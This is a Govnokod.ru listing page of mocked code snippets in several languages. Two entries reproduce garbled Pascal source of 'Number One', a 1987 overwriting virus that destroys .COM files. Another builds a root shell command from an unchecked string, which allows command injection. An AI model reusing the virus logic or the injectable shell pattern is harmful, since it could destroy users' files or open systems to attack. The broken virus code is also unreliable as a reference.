По колено в коде — Говнокод.ру

PHP / Говнокод #10547

+65

1
2
3
4
5
6
7

/**
 *
 * @class		admin_members_members_members
 * @brief		Provides methods to deal with the members management for administrators
 */
class admin_members_members_members extends ipsCommand
{

Это из форума IPB

Arigato, 04 Июня 2012

Комментарии (4)

JavaScript / Говнокод #10546

+152

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21

ISQ.Widget.Query.keyUpHandler=function(c){
    var b=c||window.event;
    if(!ISQ.Widget.userActive){
	return
    }
    if(typeof(b.keyCode)!="unknown"&&ISQ.Widget.Query.ignoreKeyCodes[b.keyCode]){
	return false
    }
    if(ISQ.Cnf.limited&&ISQ.Widget.state!==ISQ.Widget.enumState.contactForm){
	return false
    }
    if(ISQ.Widget.state===ISQ.Widget.enumState.customLink){
	ISQ.Widget.state=ISQ.Widget.enumState.questions
    }
    ISQ.Widget.Query.clearQuestionTrail();
    var a=_query(false);
    if(ISQ.Widget.Query.lastQueryWritten!=a){
	ISQ.Widget.Query.analyzeQuery(a)
    }
    return false
};

По поводу уверенных программистов (явно задел на будущее, а вдруг добаят).

wvxvw, 04 Июня 2012

Комментарии (16)

C++ / Говнокод #10544

−29

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37

template<class TValueChanger>
    NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger& ValueChanger)
    {
        return ValueChanger(Arc);
    }

    template<class TValueChanger>
    NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger& ValueChanger)
    {
        return ValueChanger(Line);
    }

template<class TValueChanger1, class TValueChanger2>
    NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2)
    {
        return ValueChanger2(ValueChanger1(Arc));
    }

    template<class TValueChanger1, class TValueChanger2>
    NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2)
    {
        return ValueChanger2(ValueChanger1(Line));
    }

//...

template<class TValueChanger1, class TValueChanger2, class TValueChanger3, class TValueChanger4, class TValueChanger5, class TValueChanger6>
    NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2, const TValueChanger3& ValueChanger3, const TValueChanger4& ValueChanger4, const TValueChanger5& ValueChanger5, const TValueChanger6& ValueChanger6)
    {
        return ValueChanger6(ValueChanger5(ValueChanger4(ValueChanger3(ValueChanger2(ValueChanger1(Arc))))));
    }

    template<class TValueChanger1, class TValueChanger2, class TValueChanger3, class TValueChanger4, class TValueChanger5, class TValueChanger6>
    NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2, const TValueChanger3& ValueChanger3, const TValueChanger4& ValueChanger4, const TValueChanger4& ValueChanger5, const TValueChanger6& ValueChanger6)
    {
        return ValueChanger6(ValueChanger5(ValueChanger4(ValueChanger3(ValueChanger2(ValueChanger1(Line))))));
    }

Говногость, 04 Июня 2012

Комментарии (15)

1C / Говнокод #10543

−119

1
2
3
4
5
6

Если ПроверятьСкидкиРассчитаны И
        ИспользоватьАвтоматическиеСкидки И
        Не ДокументПродажи.СкидкиРассчитаны И
        ДокументПродажи.ХозяйственнаяОперация <> Перечисления.ХозяйственныеОперации.ПередачаНаКомиссию Тогда
    ПроверятьСкидкиРассчитаны = Истина;
КонецЕсли;

Управление торговлей (11-я редакция)

Argonavt, 04 Июня 2012

Комментарии (12)

C# / Говнокод #10542

+89

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20

private void СтолкновениеСБонусом()// столкновение с бонусом
        {
            for (int i = 0; i < бонус.Count; i++)
            {
                if (Math.Abs(packMan.x - бонус[i].x) <= 19 && (packMan.y == бонус[i].y)
                    ||
                    (packMan.x == бонус[i].x) && Math.Abs(packMan.y - бонус[i].y) <= 19
                    ||
                    Math.Abs(packMan.x - бонус[i].x) <= 19 && Math.Abs(packMan.y - бонус[i].y) <= 19
                    )
                {
                    бонус.Remove(бонус[i]);//удаляем бонус
                    fl1 = false;//ставим в ложь и привидения прекрашают движение
                    //Labe2();
                    _tm1.Enabled = true;//таймер включен, хоть он и так включен
                    
                    _tm1.Start();//старт таймера
                }
            }
        }

Автор кода недоумевает, как код сделать еще читабельнее :facepalm:
Комментарии доставляют :)
Тема на форуме http://www.cyberforum.ru/csharp-beginners/thread586090.html

psina-from-ua, 04 Июня 2012

Комментарии (3)

C++ / Говнокод #10541

−28

1
2
3
4
5

command = QString("sh -c \"echo \"nameserver %1\" > /etc/resolv.conf\"")
              .arg(nameserver.toString());

QProcess process;
process.start(command);

Zielscheibe, 04 Июня 2012

Комментарии (8)

Си / Говнокод #10540

+142

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24

if (!menu) error(E_NOMEM);    /* add titles and items */
  if ((mn_addtitle(menu, "file",     0, 0,           0) != 0)
  ||  (mn_additem (menu, "load",     1, mcb_load,    0) != 0)
  ||  (mn_additem (menu, "save",     0, mcb_save,    0) != 0)
  ||  (mn_additem (menu, "mpost",    0, mcb_mpost,   0) != 0)
  ||  (mn_additem (menu, NULL,       0, 0,           0) != 0)
  ||  (mn_additem (menu, "quit",     0, mcb_quit,    0) != 0)
  ||  (mn_addtitle(menu, "actions",  0, 0,           0) != 0)
  ||  (mn_additem (menu, "init",     0, mcb_init,    0) != 0)
  ||  (mn_additem (menu, "start",    2, mcb_start,   0) != 0)
  ||  (mn_additem (menu, "stop",     4, mcb_start,   0) != 0)
  ||  (mn_additem (menu, NULL,       0, 0,           0) != 0)
  ||  (mn_additem (menu, "view",     0, mcb_view,    0) != 0)
  ||  (mn_additem (menu, "redraw",   0, mcb_redraw,  0) != 0)
  ||  (mn_addtitle(menu, "settings", 0, 0,           0) != 0)
  ||  (mn_additem (menu, "grid",     1, mcb_grid,    0) != 0)
  ||  (mn_additem (menu, "params",   0, mcb_params,  0) != 0)
  ||  (mn_addtitle(menu, "help",     0, 0,           0) != 0)
  ||  (mn_additem (menu, "about",    0, mcb_about,   0) != 0)
  ||  (mn_addtitle(menu, NULL,       0, 0,           0) != 0))
    error(E_WIDGET);
  mn_resize (menu, INITXEXT);   /* set width of menu bar */
  mn_visible(menu, MN_ITEMS, 3);/* show/hide      menu items */
  mn_enable (menu, MN_ITEMS, 3);/* enable/disable menu items */

Кусок кода из программы http://www.borgelt.net/doc/somd/somd.html для визуализации SOM. Эпичная проверка условий!

betastat, 04 Июня 2012

Комментарии (3)

Pascal / Говнокод #10539

+102

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18

{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.

http://www.liveinternet.ru/users/gafarov-91/post120984751/

Вторая часть.

dos_, 03 Июня 2012

Комментарии (34)

Pascal / Говнокод #10538

+94

001
002
003
004
005
006
007
008
009
010
011
012
013
014
015
016
017
018
019
020
021
022
023
024
025
026
027
028
029
030
031
032
033
034
035
036
037
038
039
040
041
042
043
044
045
046
047
048
049
050
051
052
053
054
055
056
057
058
059
060
061
062
063
064
065
066
067
068
069
070
071
072
073
074
075
076
077
078
079
080
081
082
083
084
085
086
087
088
089
090
091
092
093
094
095
096
097
098
099
100

{
-----------------------------------------------------------------

Number One

This is a very primitiv computer virus.

HANDLE WITH CARE! ----------- demonstration ONLY!

Number One infect all.COM-file in the CURRENT directory.
A warning message and the infected file's name will be displayed.
That file has been overwritten with Number One's programm
code and is not reconstructable!
If all file s are infected or no .COM-files found, Number
One gives you a .
Files may be protected against infections of Number One by
setting the READ ONLY attribute.
Written 10.3.1987 by M.Vallen (Turbo-Pascal 3.01a)
(c) 1987 by BrainLab
---------------------------------------------------------------------
}
{C-}
{U-}
{I-} { Do not allow an user Break, enable 10 check}
{--Constants----------------------------------------------------}
Const
VirusSize = 12027; { Number One's code size }
Warning : String [42] { Warning massage }
= 'This file has been infected by Number One's;

{--Type declaration----------------------------------------------}
Type
DTARec = Record { Date area for }
DOSnext : Array 1...21 of Byte; { file search }
Attr : Byte;
FTime,
FDate,
FLsize,
FHsize : Integer;
FullName : Array 1...13 of Char;
End;
Registers = Record {Register set useed for file search}
Case Byte of
1: ( AX, BX, CX, DX, BP, SI, DI, DS, ES,Flags: Integer);
2: ( AL, AH, BL, BH, CL, CH, DL, DH : Byte);
End;
{--Variables------------------------------------------------------}
Var
ProgramStart : Byte absolute Cseg: $180; {Memory offset of program code}
{Infection marker}

MarkInfected : String 42 absolute Cseg: $180;
Reg : Register; { Register set}
DTA : DTARec; { Date area}

Buffer :Array [Byte] of Byte; { Date buffer}
TestID : String 42; {To recognize infected files}
UsePath : String 66; { Path to search files}
{Length of search path}
UsePathLength: Byte absolute UsePath;
Go : File; { File to infect}
B : Byte; { Used }

--Program code-------------------------------------------------------

Begin
WriteLn(Warning); {Display Warning massage}
GetDir(0,UsePath); { Get current directory}

if Post ('', UsePath ) <> UsePathLengt then
UsePath:= UsePath + '';
UsePath:= UsePath + '*.COM'; { Define search mask}
Reg.AH := $1A; { Set date area}
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg);
UsePath Succ(UsePathLength):=0; Path must end with =0
Reg.AH := $4e;
Reg.DS := Seg(UsePath);
Reg.DX := Ofs(UsePath 1);
Reg.CX :=$ff; {Set attribut to find ALL files}
MsDos(Reg); { Find the first matching entry}
If not Odd(Reg.Flags) Then { If a file found then...}
Repeat
UsePath:=DTA.FullName;
B := Pos(#0,UsePath);
If B> 0 Then
Delete (UsePath,B,255); { Remove garbage}
Assign(Go, UsePath);
Reset(GO);
If IOresult=0 {If not error then}
Begin
BlockRead(Go,Buffer,2);
Move(Buffer $80,TestID, 43);
{Test if file is already infected}
If TestID<> Warning then { If not, then}
Begin
Seek(Go,0);
{Mark file as infected and...}
MarkInfected:= Warning;

http://www.liveinternet.ru/users/gafarov-91/post120984751/

Первая часть.

dos_, 03 Июня 2012

Комментарии (17)

JavaScript / Говнокод #10537

+155

01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

ISQ.Data.checkString=function(e,f){
    var d=true;
    switch(f){
    case"email":
	var a=/^[\w-_\&.]+\@([\w-_]+\.[\w-_]+){1,3}$/;
	var g=new RegExp("[~!#$%^&*()=''\"\\/><?[]{}|]","g");
	return(e.search(g)===-1)&&(e.match(a))&&(e!=="");
	break;
    case"number":
	var b=/^[-]?[0-9]+\.?[0-9]?$/;
	return b.test(e);
	break;
    case"username":
	var c=new RegExp(".+@.+");
	return(c.test(e));
	break;
    case"url":
	var c=new RegExp("^https?://([a-zA-Z0-9]+.){1,}[a-zA-Z0-9]+");
	return(c.test(e));
	break
    }
    return d
}

// Функция универсальной валидации.
// (Но незадолго до того было еще и)

ISQ.Data.getEmailAddress=function(e){
    var a=/[\w-_\&.]+\@[\w-_]+\.+[\w-_.]+/g;
    var d=e.match(a);
    if(d===null||d.length===0){
	return null
    }
    var f=new RegExp();
    f.compile("[~!#$%^&*()=`'\"\\/><?[]{}|]","g");
    var b=new Array();
    for(var c=0;c<d.length;++c){
	if(d[c].search(f)===-1){
	    b.push(d[c])
	}
    }
    return b
}

Еще одна творческая работа.

wvxvw, 03 Июня 2012

Комментарии (5)

Говнокод: по колено в коде.